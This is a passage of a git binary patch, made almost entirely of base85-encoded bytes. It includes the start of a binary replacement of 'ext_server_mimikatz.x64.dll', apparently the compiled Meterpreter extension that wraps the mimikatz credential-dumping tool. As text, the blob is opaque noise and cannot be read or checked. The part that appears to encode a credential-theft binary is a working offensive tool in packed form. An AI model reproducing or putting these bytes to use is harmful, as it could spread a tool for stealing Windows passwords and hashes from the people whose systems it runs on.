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 diff --git a/data/meterpreter/ext_server_mimikatz.x64.dll b/data/meterpreter/ext_server_mimikatz.x64.dll index 62f5e1e105c12aebfe3aa1517127d097a1260155..3e0f1706258c7a5cdf0a18ce34cdcbd5a94304f2 100755 GIT binary patch literal 545792 zcmeFadwf$>x<8yY4GovFgHS1o5~OOih{bwo4QO_ozzXa@70{vrWh$kLLZykIh=6Ie z>2@nR&gdL<#xpma%Tb(hY*9y3ify^r790iC5$5WuQK_I%P|5H6thJM-rKsne_jCSw z{YbMf>+-B;J?puzwf#42v{)?`OB(*gVirpye(68A`1|dDdhmMqxL1Z-UK;$?_{J3N zt?_d!Z>e@xtz5Bm<>K3&<%^duUlDNrV2N{OaJloA#<_tP!EM+2-m-SQGO zwBBy%LHicB-Lmy6dSL#y(QerZ(7x+G_h*AFRmp`m+AM8@ES6t3r4Kl#lLAXt2T=Z{ zH5d_rOk+o(k-z_*!CHI*%K^m zyND{FxiVf(CH1Le@xZ4KXRf=ls)sOLbufKwPc$|EeOCK^a9zRt?7(PlnTw*X)uMpA zPl1K3_DI0S^bezRefqo9a22061gj|26AMmYM&_R$w2A(5_~9qfh>`ir=K%@IZLU#QGs@zzEHPG;C*I-m%r;Ogmmy4p|&j04Y%I0@5JSUF3> z%V)&Pv@uM#(i7vF?(p0(Uo)c`5Q!(uy2G0vVfwp#KFAxBA)gwy`$Y%6H6K}x38c!Q zj#Q?%b7E~6jqO9x!yxyO))c|u4VI>OnsA#Mw1(PJabXYO!tSm)M!yags;IPtr(vqa z@JpB;$SwsA@)kAk+_{q|L|}l%Xr-q0eHi9uT5Wv#4+(2M3@8}(VhZZIc4o|Uuy8R@HWLjL=is^kzj^p|0m+T{U7X}xph1w_9wM-rKnP|~09!_6 zwWv7>pZa@DKgJtmW8I>$bTs?f12&7|0Lnm%z*G8RW!-e#w93JPCW#))K#z?kJvx*N zs<;o+fSGA^?^Q4}pdc;m?)22TBc6iP0Oq(Y#$vcmOAQ{?^oSfsCuGb<#c>5QJlQ!c zbWb)Go>ENL7;qI07(}syZ+k)vcb0(A3UI11CscSP7Bk`F_m7AImjQ4Vw#Ju{k`u@- z0nlZFj@)wqwG$xn7TMgvnnY>L;*I@iP2%QBS@bWpR5TqpNZ>^xMNa?DMB7Xs%xbp< zY`p$aKopvQf7CRP`l0|nrOSpTkJ(YXS$PR9#}NW%&yeo;GmlZ!?FoB^d;);t?QWoz zM%WECtvBl(GwT8AY7ag0823>rs`>?gK`i-@s3w>FZ$$q!V`NK-H?;g88xx@B1*E-w z&MyOWKa@~|O$IJt`cN7h7)MI1#6e4LxTafPk=&(CjX7wl&e=%grZJnahwjS4i+wA> zT?X?s@wVJyVXehkL?$iq((!(es8z(lo}_-oIu8tEx)0Phn72NR!aB%OF3Y~l5vxf) zcALLq@rKGPEur$N6KHW;tvTB_Vr6~b(afbT`{89D|G{hmWM-+H>1X7aO6d`kj|};U z(W3(S=x+I_fF9+@M@!|S9D0-`AI+7IvgnarK2qf)2sC|%0Hy0;4=4zH(Xh?CkH(bJ zymO1i5~mg8C&cz?D&F`8lWN!sh|EzJ>w-qoRZ{}!%hj)0Zd=zdDr#QeOxH=g_O5O$ z0b@2MPwm#q-9)QP(3CIiu?t!?pY03TEM9|kd&8Rj69B`r(f*OlNm1(NrF)tKaE3flaSwwrX}RO11KkXLany*KO594F(Td_{GpecR4Kp?+qxn7(OJozArGCsGVy9Z8LLtF=wdX71KmNi#QJ)anEI$zy#E;x{qY z^G~i}(iRJKt?nwNN!7PPDnJ&4e?YI9W2%D%kQ!|yOME&=YadC?P>14cZ4%F1$L@sk zbv!y*)731W-o|!yvBuy1R{qD1e#CZt%v{^=Jk6&!vD_xj6`5g7Nx9SN(~p6CQ@r^{ z_X(GQE>H$Cy-$MQF$2abg7wk(G`gkHs4C%Ay%hWfQnQ{YFekwbQ4s$?@s`P!|dr 